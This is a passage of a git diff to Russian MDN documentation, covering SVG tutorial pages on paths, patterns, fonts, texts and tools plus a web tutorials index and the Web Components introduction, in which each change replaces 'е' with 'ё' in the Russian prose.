alt="Cubic Bézier Curves with grid" class="internal" src="https://mdn.mozillademos.org/files/10401/Cubic_Bezier_Curves_with_grid.png" style="float: right; height: 160px; width: 190px;"></p> @@ -117,9 +117,9 @@ translation_of: Web/SVG/Tutorial/Paths </svg> </pre> -<p>Пример сверху показывает девять кубических кривых Безье. Чем ближе к левому краю изображения, тем более горизонтально разделенными становятся контрольные точки. Ближе к правому, становятся более отделенными от конечных точек. Стоит отметить, что кривая начинается в направлении первой контрольной точки, а затем изгибается, переходя в направление второй контрольной точки.</p> +<p>Пример сверху показывает девять кубических кривых Безье. Чем ближе к левому краю изображения, тем более горизонтально разделёнными становятся контрольные точки. Ближе к правому, становятся более отделёнными от конечных точек. Стоит отметить, что кривая начинается в направлении первой контрольной точки, а затем изгибается, переходя в направление второй контрольной точки.</p> -<p>Вы можете связать вместе несколько кривых Безье, чтобы создавать более длинные плавные формы. В таком случае часто контрольные точки на разных сторонах будут отображением друг друга (чтобы поддерживать постоянный наклон). В этом случае можно использовать сокращенную запись для кривой Безье, используя команду S (или s).</p> +<p>Вы можете связать вместе несколько кривых Безье, чтобы создавать более длинные плавные формы. В таком случае часто контрольные точки на разных сторонах будут отображением друг друга (чтобы поддерживать постоянный наклон). В этом случае можно использовать сокращённую запись для кривой Безье, используя команду S (или s).</p> <pre> S x2 y2, x y (or s dx2 dy2, dx dy) </pre> @@ -148,7 +148,7 @@ translation_of: Web/SVG/Tutorial/Paths <pre> T x y (or t dx dy) </pre> -<p>Как и ранее, сокращение смотрит на предыдущую контрольную точку, которую вы использовали, и выводит из нее новую. Это означает, что после первой контрольной точки вы можете делать довольно сложные фигуры, указав только конечные точки.</p> +<p>Как и ранее, сокращение смотрит на предыдущую контрольную точку, которую вы использовали, и выводит из неё новую. Это означает, что после первой контрольной точки вы можете делать довольно сложные фигуры, указав только конечные точки.</p> <div class="blockIndicator note"> <p>Обратите внимание, что это работает только в том случае, если предыдущей командой была команда Q или T. Если это не так, то контрольная точка считается той же, что и предыдущая, и вы нарисуете только линии.</p> @@ -229,6 +229,6 @@ translation_of: Web/SVG/Tutorial/Paths <p>Последние два аргумента, если вы ещё не догадались, обозначают координаты x и y, где заканчивается дуга. Дуги - лёгкий способ создавать части кругов или эллипсов в ваших рисунках. Например, круговая диаграмма требует отдельную дугу для каждого куска диаграммы.</p> -<p>Если вы переходите в SVG из Canvas`а, дуги могут быть самой трудной вещью для изучения, но они также очень мощные. Т.к. начальная и конечные точки для любого пути, обходящего круг, одно и то же место, существует бесконечное количество кругов, которые могут быть выбраны и действительный путь не определен. Возможно приблизить их, сделав начальную и конечную точку пути слегка разными и соединив их с другими сегментами пути. В этой точке, часто проще использовать настоящий круг или эллипс. Это интерактивное демо может помочь понять основные принципы SVG-дуг: <a href="http://codepen.io/lingtalfi/pen/yaLWJG">http://codepen.io/lingtalfi/pen/yaLWJG</a> (протестировано только в Chrome и Firefox, может не работать в вашем браузере)</p> +<p>Если вы переходите в SVG из Canvas`а, дуги могут быть самой трудной вещью для изучения, но они также очень мощные. Т.к. начальная и конечные точки для любого пути, обходящего круг, одно и то же место, существует бесконечное количество кругов, которые могут быть выбраны и действительный путь не определён. Возможно приблизить их, сделав начальную и конечную точку пути слегка разными и соединив их с другими сегментами пути. В этой точке, часто проще использовать настоящий круг или эллипс. Это интерактивное демо может помочь понять основные принципы SVG-дуг: <a href="http://codepen.io/lingtalfi/pen/yaLWJG">http://codepen.io/lingtalfi/pen/yaLWJG</a> (протестировано только в Chrome и Firefox, может не работать в вашем браузере)</p> <p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p> diff --git a/files/ru/web/svg/tutorial/patterns/index.html b/files/ru/web/svg/tutorial/patterns/index.html index 4c2e459016..81970ec2f5 100644 --- a/files/ru/web/svg/tutorial/patterns/index.html +++ b/files/ru/web/svg/tutorial/patterns/index.html @@ -7,7 +7,7 @@ translation_of: Web/SVG/Tutorial/Patterns <h2 id="Шаблоны_Patterns">Шаблоны (Patterns)</h2> -<p>Patterns, по моему мнению, одни из самых запутанных типов заполнения (<strong>fill </strong>types) в SVG. Несмотря на это ,они являются очень мощным инструментом, так что о них определенно стоит поговорить и понять хотя бы основные части. Как и градиенты, элементы {{SVGElement('pattern')}} должны быть помещены в секцию <code><defs> в Вашем SVG-файле.</code></p> +<p>Patterns, по моему мнению, одни из самых запутанных типов заполнения (<strong>fill </strong>types) в SVG. Несмотря на это ,они являются очень мощным инструментом, так что о них определённо стоит поговорить и понять хотя бы основные части. Как и градиенты, элементы {{SVGElement('pattern')}} должны быть помещены в секцию <code><defs> в Вашем SVG-файле.</code></p> <pre class="brush: html"><svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> @@ -40,12 +40,12 @@ translation_of: Web/SVG/Tutorial/Patterns <p>В отличие от градиентов, у паттернов есть 2ой атрибут - <code><strong>patternContentUnits</strong>, </code>который описывает единицы измерения, используемые в базовых фигурах внутри элемента <strong>pattern</strong>. Дефолтное значение для этого атрибута - <strong>userSpaceOnUse</strong>, противоположность атрибуту <code><strong>patternUnits</strong>. </code>Это означает, что если Вы не укажете один или оба этих атрибута (<strong><code>patternContentUnits</code> </strong>и/или <strong><code>patternUnits</code></strong>), фигуры, которые Вы будете рисовать внутри блока <<strong>pattern></strong>, будут отрисованы в другой системе координат (отличной от той, которую использует паттерн). Это может немного запутывать, если Вы пишете код вручную.</p> -<p>Чтобы сделать эту работу в приведенном выше примере, нам пришлось рассмотреть размер нашей коробки (200 пикселей) и тот факт, что мы хотели, чтобы рисунок повторялся 4 раза по горизонтали и по вертикали. Это означает, что каждый блок шаблонов был квадратом 50 × 50. Затем два прямоугольника и круг внутри рисунка были рассчитаны на размер в коробке 50x50.<br> - Все, что мы нарисовали вне этой коробки, не было бы показано. Шаблон также должен был быть смещен на 10 пикселей, чтобы он начинался в верхнем левом углу нашего окна, поэтому атрибуты <strong>x</strong> и <strong>y</strong> шаблона должны были быть скорректированы до 10/200 = 0,05.</p> +<p>Чтобы сделать эту работу в приведённом выше примере, нам пришлось рассмотреть размер нашей коробки (200 пикселей) и тот факт, что мы хотели, чтобы рисунок повторялся 4 раза по горизонтали и по вертикали. Это означает, что каждый блок шаблонов был квадратом 50 × 50. Затем два прямоугольника и круг внутри рисунка были рассчитаны на размер в коробке 50x50.<br> + Все, что мы нарисовали вне этой коробки, не было бы показано. Шаблон также должен был быть смещён на 10 пикселей, чтобы он начинался в верхнем левом углу нашего окна, поэтому атрибуты <strong>x</strong> и <strong>y</strong> шаблона должны были быть скорректированы до 10/200 = 0,05.</p> -<p>Здесь предостережение заключается в том, что если объект изменяет размер, сам шаблон будет масштабироваться, чтобы соответствовать ему, но объекты внутри не будут. Таким образом, хотя у нас все еще будет 4 повторяющихся блока внутри шаблона, объекты, составляющие этот шаблон, будут оставаться одного и того же размера, и вы окажетесь в больших областях между ними.<br> +<p>Здесь предостережение заключается в том, что если объект изменяет размер, сам шаблон будет масштабироваться, чтобы соответствовать ему, но объекты внутри не будут. Таким образом, хотя у нас все ещё будет 4 повторяющихся блока внутри шаблона, объекты, составляющие этот шаблон, будут оставаться одного и того же размера, и вы окажетесь в больших областях между ними.<br> Изменяя атрибут <strong><code>patternContentUnits</code></strong> , мы можем поместить все элементы в одну единую систему:</p> <pre class="brush: xml"> <pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox"> @@ -55,7 +55,7 @@ translation_of: Web/SVG/Tutorial/Patterns </pattern> </pre> -<p>Теперь, поскольку содержимое шаблона находится в той же единичной системе, что и шаблон, нам не нужно смещать поле так, чтобы шаблон начинался в правильном месте, и если размер объекта был изменен на более крупный, шаблон автоматически масштабируется так, чтобы в нем было одинаковое количество объектов, повторяющихся внутри него. Это контрастирует с системой <strong>userSpaceOnUse</strong>, где, если объект изменяет размер, шаблон останется прежним и просто повторится больше раз, чтобы заполнить поле.</p> +<p>Теперь, поскольку содержимое шаблона находится в той же единичной системе, что и шаблон, нам не нужно смещать поле так, чтобы шаблон начинался в правильном месте, и если размер объекта был изменён на более крупный, шаблон автоматически масштабируется так, чтобы в нем было одинаковое количество объектов, повторяющихся внутри него. Это контрастирует с системой <strong>userSpaceOnUse</strong>, где, если объект изменяет размер, шаблон останется прежним и просто повторится больше раз, чтобы заполнить поле.</p> <p>Как ни удивительно, но в кругах Gecko, похоже, есть проблемы с рисованием, если их радиус установлен на что-то меньшее 0.075 (хотя их нужно масштабировать, чтобы иметь гораздо больший радиус, чем этот. Это может быть ошибкой только в шаблоне , Или вообще не ошибка, я не уверен).<br> Чтобы обойти это, вероятно, лучше всего избегать рисования блоков «objectBoundingBox», если вам это не нужно.</p> @@ -69,7 +69,7 @@ translation_of: Web/SVG/Tutorial/Patterns </pattern> </pre> -<p>Конечно, это означает, что шаблон не будет масштабироваться, если вы позже измените размер своего объекта. Все три из приведенных выше примеров показаны ниже на прямоугольнике, который слегка удлинен до высоты 300 пикселей, но я должен отметить его не исчерпывающее изображение, и есть другие варианты, доступные в зависимости от вашего приложения.</p> +<p>Конечно, это означает, что шаблон не будет масштабироваться, если вы позже измените размер своего объекта. Все три из приведённых выше примеров показаны ниже на прямоугольнике, который слегка удлинён до высоты 300 пикселей, но я должен отметить его не исчерпывающее изображение, и есть другие варианты, доступные в зависимости от вашего приложения.</p> <p><img alt="Image:SVG_Pattern_Comparison_of_Units.png" class="internal" src="/@api/deki/files/349/=SVG_Pattern_Comparison_of_Units.png"></p> diff --git a/files/ru/web/svg/tutorial/svg_and_css/index.html b/files/ru/web/svg/tutorial/svg_and_css/index.html index 7bdadb6b12..1382c844c6 100644 --- a/files/ru/web/svg/tutorial/svg_and_css/index.html +++ b/files/ru/web/svg/tutorial/svg_and_css/index.html @@ -29,7 +29,7 @@ original_slug: Web/Guide/CSS/Getting_started/SVG_и_CSS <tbody> <tr> <td> - <p>На момент написания статьи (середина 2011 года), большинство современных браузеров имеет базовую поддержку SVG, в том числе Internet Explorer 9 и выше. Некоторые дополнительные возможности SVG не поддерживаются, либо поддерживаются лишь частично, в определенных браузерах. Для более подробной информации о текущей поддержке SVG, см. <a href="http://caniuse.com/#search=SVG">SVG tables on caniuse.com</a>, либо в таблицах совместимости <a href="/en-US/docs/SVG/Element">SVG element reference</a>, для информации о поддержке отдельных элементов.</p> + <p>На момент написания статьи (середина 2011 года), большинство современных браузеров имеет базовую поддержку SVG, в том числе Internet Explorer 9 и выше. Некоторые дополнительные возможности SVG не поддерживаются, либо поддерживаются лишь частично, в определённых браузерах. Для более подробной информации о текущей поддержке SVG, см. <a href="http://caniuse.com/#search=SVG">SVG tables on caniuse.com</a>, либо в таблицах совместимости <a href="/en-US/docs/SVG/Element">SVG element reference</a>, для информации о поддержке отдельных элементов.</p> <p>В остальные версии можно добавить поддержку SVG, установив дополнительный плагин, например, предоставленный компанией <a href="http://www.adobe.com/svg/viewer/install/main.html">Adobe</a>.</p> diff --git a/files/ru/web/svg/tutorial/svg_fonts/index.html b/files/ru/web/svg/tutorial/svg_fonts/index.html index 92cdb57f84..42aba5fd39 100644 --- a/files/ru/web/svg/tutorial/svg_fonts/index.html +++ b/files/ru/web/svg/tutorial/svg_fonts/index.html @@ -5,11 +5,11 @@ translation_of: Web/SVG/Tutorial/SVG_fonts --- <p>{{ PreviousNext("Web/SVG/Tutorial/Filter_effects", "Web/SVG/Tutorial/SVG_Image_Tag") }}</p> -<p>Когда был написан стандарт SVG, поддержка веб-шрифтов еще не была широко распространена в браузерах. Поскольку доступ к правильному файлу шрифта имеет решающее значение для правильного отображения текста, в SVG была добавлена технология описания шрифтов. Она не совместима с другими форматами, такими как PostScript или OTF, это лишь простое средство вложения информации о глифах в SVG при визуализации.<br> +<p>Когда был написан стандарт SVG, поддержка веб-шрифтов ещё не была широко распространена в браузерах. Поскольку доступ к правильному файлу шрифта имеет решающее значение для правильного отображения текста, в SVG была добавлена технология описания шрифтов. Она не совместима с другими форматами, такими как PostScript или OTF, это лишь простое средство вложения информации о глифах в SVG при визуализации.<br> </p> <p class="note"><strong>SVG-шрифты корректно поддерживаются только в Safari.</strong><br> - Эта возможность не была реализована в Internet Explorer, она также была удалена из Chrome 38 (и Opera 25), разработчики Mozilla отложили ее реализацию на неопределенное время, чтобы сосредоточиться на WOFF. Другие инструменты, такие как плагин Adobe SVG Viewer, Batik и частично Inkscape поддерживают встраиваемые шрифты SVG.</p> + Эта возможность не была реализована в Internet Explorer, она также была удалена из Chrome 38 (и Opera 25), разработчики Mozilla отложили её реализацию на неопределённое время, чтобы сосредоточиться на WOFF. Другие инструменты, такие как плагин Adobe SVG Viewer, Batik и частично Inkscape поддерживают встраиваемые шрифты SVG.</p> <p class="syntaxbox">Элемент {{ SVGElement("font") }} используется для определения SVG-шрифта.</p> @@ -36,17 +36,17 @@ translation_of: Web/SVG/Tutorial/SVG_fonts </font> </pre> -<p>Начнем с элемента {{ SVGElement("font") }}. Он имеет атрибут <code>id</code>, который позволяет ему ссылаться через URI (см. ниже). Атрибут <code>horiz-adv-x</code> определяет, насколько широкий символ в среднем по сравнению с путями для отдельных глифов. Обычно подходит значение 1000. Существует несколько сопутствующих атрибутов, которые помогают определить ограничительные рамки. </p> +<p>Начнём с элемента {{ SVGElement("font") }}. Он имеет атрибут <code>id</code>, который позволяет ему ссылаться через URI (см. ниже). Атрибут <code>horiz-adv-x</code> определяет, насколько широкий символ в среднем по сравнению с путями для отдельных глифов. Обычно подходит значение 1000. Существует несколько сопутствующих атрибутов, которые помогают определить ограничительные рамки. </p> -<p>Элемент {{ SVGElement("font-face") }} является в SVG эквивалентом объявления шрифта с помощью CSS-свойства <a href="https://developer.mozilla.org/en/CSS/@font-face">@font-face</a>. Он определяет основные свойства финального шрифта, такие как вес, стиль и т. д. В приведенном выше примере, первое и самое важное свойство, которое должно быть определено - это <code>font-family</code>, на значение которого затем можно ссылаться в свойствах CSS и SVG. Атрибуты <code>font-weight</code> и <code>font-style</code> имеют ту же цель, что и соответствующие свойства CSS. Все последующие атрибуты - это команды рендеринга для механизма компоновки шрифтов, задающие, к примеру, какая средняя высота символов направленных вверх или вниз <a href="http://en.wikipedia.org/wiki/Ascender_%28typography%29">выносных элементов</a>.</p> +<p>Элемент {{ SVGElement("font-face") }} является в SVG эквивалентом объявления шрифта с помощью CSS-свойства <a href="https://developer.mozilla.org/en/CSS/@font-face">@font-face</a>. Он определяет основные свойства финального шрифта, такие как вес, стиль и т. д. В приведённом выше примере, первое и самое важное свойство, которое должно быть определено - это <code>font-family</code>, на значение которого затем можно ссылаться в свойствах CSS и SVG. Атрибуты <code>font-weight</code> и <code>font-style</code> имеют ту же цель, что и соответствующие свойства CSS. Все последующие атрибуты - это команды рендеринга для механизма компоновки шрифтов, задающие, к примеру, какая средняя высота символов направленных вверх или вниз <a href="http://en.wikipedia.org/wiki/Ascender_%28typography%29">выносных элементов</a>.</p> -<p>Дочерний элемент {{ SVGElement("font-face-src") }} соответствует свойству <code>src</code> для атрибута <code>@font-face</code> в CSS. Вы можете указать внешние источники для определения шрифтов с помощью элементов {{ SVGElement("font-face-name") }} и {{ SVGElement("font-face-uri") }}. В приведенном выше примере указано, что если у рендерера имеется локальный доступный шрифт с именем «Super Sans Bold», он должен использовать его.</p> +<p>Дочерний элемент {{ SVGElement("font-face-src") }} соответствует свойству <code>src</code> для атрибута <code>@font-face</code> в CSS. Вы можете указать внешние источники для определения шрифтов с помощью элементов {{ SVGElement("font-face-name") }} и {{ SVGElement("font-face-uri") }}. В приведённом выше примере указано, что если у рендерера имеется локальный доступный шрифт с именем «Super Sans Bold», он должен использовать его.</p> <p>Следующий элемент за {{ SVGElement("font-face-src") }} - это {{ SVGElement("missing-glyph") }}. Он определяет, что должно отображаться, если символ в шрифте не был найден и если нет запасного варианта. Он также показывает, как создаются глифы: добавлением в него любого графического контента SVG. В нем вы можете использовать буквально любые элементы SVG, даже {{ SVGElement("filter") }}, {{ SVGElement("a") }} или {{ SVGElement("script") }}. Однако для простых глифов вы можете просто добавить атрибут <code>d</code> - он определяет форму для глифа точно так же, как работают стандартные пути SVG.</p> -<p>Сами глифы затем определяются элементами {{ SVGElement("glyph") }}. Наиболее важным атрибутом является <code>unicode</code>. Он определяет код кодировки unicode, представленный этим символом. Если вы указываете атрибут {{htmlattrxref("lang")}} на глифе, вы можете дополнительно ограничить его определенными языками (представленными <code>xml:lang</code>). Вы можете использовать произвольный SVG для определения глифа, и это позволит вам создать замечательные эффекты.<br> +<p>Сами глифы затем определяются элементами {{ SVGElement("glyph") }}. Наиболее важным атрибутом является <code>unicode</code>. Он определяет код кодировки unicode, представленный этим символом. Если вы указываете атрибут {{htmlattrxref("lang")}} на глифе, вы можете дополнительно ограничить его определёнными языками (представленными <code>xml:lang</code>). Вы можете использовать произвольный SVG для определения глифа, и это позволит вам создать замечательные эффекты.<br> <br> - Есть еще два элемента, которые могут быть определены внутри шрифта: {{ SVGElement("hkern") }} и {{ SVGElement("vkern") }}. Каждый из них содержит ссылки не менее чем на два символа (атрибуты <code>u1</code> и <code>u2</code>) и атрибут <code>k</code>, который определяет, на сколько должно быть уменьшено расстояние между этими символами. Ниже показан пример инструкции размещения символов «A» и «V» на стандартном расстоянии.</p> + Есть ещё два элемента, которые могут быть определены внутри шрифта: {{ SVGElement("hkern") }} и {{ SVGElement("vkern") }}. Каждый из них содержит ссылки не менее чем на два символа (атрибуты <code>u1</code> и <code>u2</code>) и атрибут <code>k</code>, который определяет, на сколько должно быть уменьшено расстояние между этими символами. Ниже показан пример инструкции размещения символов «A» и «V» на стандартном расстоянии.</p> <pre><hkern u1="A" u2="V" k="20" /> </pre> diff --git a/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html index 7f993c7bf8..a897157fb4 100644 --- a/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html +++ b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html @@ -55,7 +55,7 @@ translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction <h2 id="Discussion" name="Discussion">Примечание</h2> -<p>В примере представлен обычный XHTML, CSS и JavaScript код. Здесь есть лишь одна особенность, это наличие SVG элемента. Этот элемент объявлен в специальном пространстве имен SVG, содержит градиент и две фигуры заполненные градиентом. По замыслу, когда пользователь введет что-нибудь неправильное, то скрипт установит для BODY класс .invalid, где правила стиля изменяют цвет градиента и делают видимым сообщение об ошибке.</p> +<p>В примере представлен обычный XHTML, CSS и JavaScript код. Здесь есть лишь одна особенность, это наличие SVG элемента. Этот элемент объявлен в специальном пространстве имён SVG, содержит градиент и две фигуры заполненные градиентом. По замыслу, когда пользователь введёт что-нибудь неправильное, то скрипт установит для BODY класс .invalid, где правила стиля изменяют цвет градиента и делают видимым сообщение об ошибке.</p> <p>Такой способ имеет следующие пункты в свою пользу:</p> @@ -98,7 +98,7 @@ img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png"); <p><code>slice </code>- тоже сохраняет пропорции, но масштабирует по максимальной границе области просмотра, обрезая часть изображения, которая не поместилась в область</p> -<p>Также есть спецификатор <code>none который означает, что изображение заполнит область путем масштабирования сторон, не сохраняя пропорции (растянет).</code></p> +<p>Также есть спецификатор <code>none который означает, что изображение заполнит область путём масштабирования сторон, не сохраняя пропорции (растянет).</code></p> <pre class="brush: html"> preserveAspectRatio="none"</pre> @@ -109,7 +109,7 @@ img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png"); <ul> <li>Сохранение пропорций <a href="http://xiper.net/learn/svg/svg-essentials/preserving-aspect-ratio">ссылка</a></li> <li>Масштабирование и сдвиг <a href="https://msdn.microsoft.com/ru-ru/library/gg589508(v=vs.85).aspx">msdn.microsoft</a></li> - <li>Еще SVG в XHTML: <a href="/en-US/docs/SVG/Namespaces_Crash_Course/Example" title="SVG/Namespaces_Crash_Course/Example">пример</a></li> + <li>Ещё SVG в XHTML: <a href="/en-US/docs/SVG/Namespaces_Crash_Course/Example" title="SVG/Namespaces_Crash_Course/Example">пример</a></li> </ul> <p> </p> diff --git a/files/ru/web/svg/tutorial/texts/index.html b/files/ru/web/svg/tutorial/texts/index.html index 1083b55a4d..a4e0a76305 100644 --- a/files/ru/web/svg/tutorial/texts/index.html +++ b/files/ru/web/svg/tutorial/texts/index.html @@ -38,22 +38,22 @@ translation_of: Web/SVG/Tutorial/Texts <p>Элемент <code>tspan</code> имеет следующие атрибуты:<br> <br> <strong>x</strong><br> - Задает новую координату по Х (аналогично абсолютному позиционированию в CSS) для вложенного текста. Что перезаписывает, установленную по умолчанию позицию. Атрибут может также содержать набор чисел, которые поочередно применяются к каждому символу <code>tspan</code>.</p> + Задаёт новую координату по Х (аналогично абсолютному позиционированию в CSS) для вложенного текста. Что перезаписывает, установленную по умолчанию позицию. Атрибут может также содержать набор чисел, которые поочерёдно применяются к каждому символу <code>tspan</code>.</p> <p><strong>dx</strong><br> - Задает смещение по горизонтали <code>dx</code> относительно текущей позиции. Здесь вы также можете задавать набор значений, которые последовательно применяются к каждому символу, устанавливая смещение относительно предыдущего.</p> + Задаёт смещение по горизонтали <code>dx</code> относительно текущей позиции. Здесь вы также можете задавать набор значений, которые последовательно применяются к каждому символу, устанавливая смещение относительно предыдущего.</p> <p>Аналогично, для вертикального перемещения текста имеются <strong>y</strong> и <strong>dy</strong> атрибуты.<br> <br> <strong>rotate</strong><br> - Поворачивает символ на заданный угол. Атрибуту можно задавать набор чисел, которые поочередно применяются к символам. Если количество чисел в наборе меньше чем количество букв, то угол для всех оставшихся символов будет равен последнему значению в наборе.<br> + Поворачивает символ на заданный угол. Атрибуту можно задавать набор чисел, которые поочерёдно применяются к символам. Если количество чисел в наборе меньше чем количество букв, то угол для всех оставшихся символов будет равен последнему значению в наборе.<br> <br> <strong>textLength</strong><br> - Атрибут строго задает длину строки. Он предназначен для того, чтобы механизм рендеринга мог точно настраивать позиции глифов, когда измеренная длина текста не соответствует той, что указана в атрибуте.</p> + Атрибут строго задаёт длину строки. Он предназначен для того, чтобы механизм рендеринга мог точно настраивать позиции глифов, когда измеренная длина текста не соответствует той, что указана в атрибуте.</p> <h3 id="tref">tref</h3> -<p>Элемент <code>tref</code> позволяет ссылаться на уже существующий текст, эффективно копируя его на свое место. Вы можете использовать атрибут <code>xlink:href</code> чтобы указать на элемент, текст которого должен быть скопирован. Затем вы можете изменить его стили и внешний вид независимо от источника. </p> +<p>Элемент <code>tref</code> позволяет ссылаться на уже существующий текст, эффективно копируя его на своё место. Вы можете использовать атрибут <code>xlink:href</code> чтобы указать на элемент, текст которого должен быть скопирован. Затем вы можете изменить его стили и внешний вид независимо от источника. </p> <pre class="brush:xml"><text id="example">This is an example text.</text> diff --git a/files/ru/web/svg/tutorial/tools_for_svg/index.html b/files/ru/web/svg/tutorial/tools_for_svg/index.html index 97a63678a3..3962c6a5fe 100644 --- a/files/ru/web/svg/tutorial/tools_for_svg/index.html +++ b/files/ru/web/svg/tutorial/tools_for_svg/index.html @@ -17,7 +17,7 @@ translation_of: Web/SVG/Tutorial/Tools_for_SVG <p>Очень важно иметь в инструментарии приличную графическую программу. Inkscape предлагает современную векторную графику с открытым исходным кодом.</p> -<p>Кроме того, SVG является ее родным форматом. Для хранения специфичных для Inkscape данных, файл SVG расширяется элементами и атрибутами в пользовательском пространстве имен, что не мешает выбрать экспорт и в виде простого SVG.</p> +<p>Кроме того, SVG является её родным форматом. Для хранения специфичных для Inkscape данных, файл SVG расширяется элементами и атрибутами в пользовательском пространстве имён, что не мешает выбрать экспорт и в виде простого SVG.</p> <h2 id="Adobe_Illustrator">Adobe Illustrator</h2> diff --git a/files/ru/web/tutorials/index.html b/files/ru/web/tutorials/index.html index 2079a9e828..1725d6c1d9 100644 --- a/files/ru/web/tutorials/index.html +++ b/files/ru/web/tutorials/index.html @@ -35,7 +35,7 @@ translation_of: Web/Tutorials <dt><a href="http://www.html5rocks.com/tutorials/" rel="external">HTML5 Tutorials</a> (HTML5 Rocks)</dt> <dd><span id="result_box" lang="ru"><span class="hps">Совершите экскурсию</span> <span class="hps">в код</span><span>, который использует</span> <span class="hps">возможности HTML5</span><span>.</span></span></dd> <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">Semantics in HTML5</a> (A List Apart)</dt> - <dd>Изучите рабочую разметку, обеспечивающую обратную совместимость, расширяемую и поддерживающую будущие изменения (совместимость вперед).</dd> + <dd>Изучите рабочую разметку, обеспечивающую обратную совместимость, расширяемую и поддерживающую будущие изменения (совместимость вперёд).</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial">Canvas Tutorial</a></dt> <dd>Узнайте, как рисовать с помощью скриптов, используя элемент <code>canvas</code>.</dd> <dt><a href="http://html5doctor.com/" rel="external">HTML5 Doctor</a></dt> @@ -73,7 +73,7 @@ translation_of: Web/Tutorials <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Essential JavaScript Design Patterns</a> (Addy Osmani)</dt> <dd>Введение в основы шаблонов проектирования JavaScript.</dd> <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">The JavaScript Programming Language</a> (YUI Blog)</dt> - <dd>Douglas Crockford исследует язык, какой он есть сегодня, и как он пришел, чтобы быть.</dd> + <dd>Douglas Crockford исследует язык, какой он есть сегодня, и как он пришёл, чтобы быть.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Introduction_to_Object-Oriented_JavaScript">Introduction to Object-Oriented JavaScript</a></dt> <dd>Узнайте об ООП в JavaScript.</dd> </dl> @@ -93,7 +93,7 @@ translation_of: Web/Tutorials <dt><a href="http://ejohn.org/apps/learn/" rel="external">Learning Advanced JavaScript</a> (John Resig)</dt> <dd>Гид по "продвинутому" JavaScript от John Resig.</dd> <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">Introducing the JavaScript DOM</a> (Elated)</dt> - <dd>Что такое Document Object Model, и зачем она нужна? Эта статья дает вам постепенное введение в эту мощную способность JavaScript.</dd> + <dd>Что такое Document Object Model, и зачем она нужна? Эта статья даёт вам постепенное введение в эту мощную способность JavaScript.</dd> <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">An Inconvenient API: The Theory of the DOM</a> (YUI Blog)</dt> <dd>Douglas Crockford объясняет Document Object Model.</dd> <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">Advanced JavaScript</a> (YUI Blog)</dt> @@ -112,7 +112,7 @@ translation_of: Web/Tutorials <dl> <dt><strong><a href="http://exploringjs.com/es6/" rel="external">Exploring ES6</a> (Dr. Axel Rauschmayer)</strong></dt> - <dd>Надежная и подробная информация об ECMAScript 2015.</dd> + <dd>Надёжная и подробная информация об ECMAScript 2015.</dd> <dt><a href="https://github.com/bolshchikov/js-must-watch">JavaScript Videos</a> (GitHub)</dt> <dd>Видео о JavaScript.</dd> </dl> @@ -127,7 +127,7 @@ translation_of: Web/Tutorials <dl> <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started">CSS Getting Started</a></dt> - <dd>Этот учебник познакомит вас с каскадными таблицами стилей (CSS). Он проведет вас через основные особенности CSS и предложит практические примеры, которые можно попробовать на вашем компьютере.</dd> + <dd>Этот учебник познакомит вас с каскадными таблицами стилей (CSS). Он проведёт вас через основные особенности CSS и предложит практические примеры, которые можно попробовать на вашем компьютере.</dd> <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external">CSS Selector Classes</a> (Wikiversity)</dt> <dd>Что такое классы в CSS?</dd> <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external">External CSS</a> (Wikiversity)</dt> @@ -154,7 +154,7 @@ translation_of: Web/Tutorials <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">Progressive Enhancement with CSS</a> (A List Apart)</dt> <dd>Прогрессивное улучшение в веб-страницы с помощью CSS.</dd> <dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Fluid Grids</a> (A List Apart)</dt> - <dd>Дизайн верстки, который плавно изменяется вместе с размерами окна, основанный на сетке.</dd> + <dd>Дизайн вёрстки, который плавно изменяется вместе с размерами окна, основанный на сетке.</dd> </dl> <h3 id="Продвинутый_уровень_3">Продвинутый уровень</h3> diff --git a/files/ru/web/web_components/index.html b/files/ru/web/web_components/index.html index a6b79d100e..55d782175d 100644 --- a/files/ru/web/web_components/index.html +++ b/files/ru/web/web_components/index.html @@ -11,7 +11,7 @@ translation_of: Web/Web_Components <p>Как разработчики, все мы знаем, что как можно больше повторного использования кода - хорошая идея. Традиционно это было не так просто для пользовательских структур разметки - подумайте о сложном HTML (и связанном с ним стиле и сценарии), которые вам иногда приходилось писать для визуализации пользовательских элементов управления UI, и о том, как их многократное использование может превратить вашу страницу в беспорядок если вы не будете осторожны.</p> -<p>Веб-компоненты направлены на решение таких проблем - они состоят из трех основных технологий, которые можно использовать вместе для создания универсальных настраиваемых элементов с инкапсулированной функциональностью, которые можно повторно использовать где угодно, не опасаясь коллизий кода.</p> +<p>Веб-компоненты направлены на решение таких проблем - они состоят из трёх основных технологий, которые можно использовать вместе для создания универсальных настраиваемых элементов с инкапсулированной функциональностью, которые можно повторно использовать где угодно, не опасаясь коллизий кода.</p> <ul> <li><strong>Пользовательские элементы</strong>: набор API-интерфейсов JavaScript, позволяющих определять пользовательские элементы и их поведение, которые затем можно использовать по желанию в пользовательском интерфейсе.</li> @@ -23,7 +23,7 @@ translation_of: Web/Web_Components <ol> <li>Создайте класс, в котором вы указываете функциональность своего веб-компонента, используя синтаксис классов ECMAScript 2015 (дополнительную информацию см. в разделе 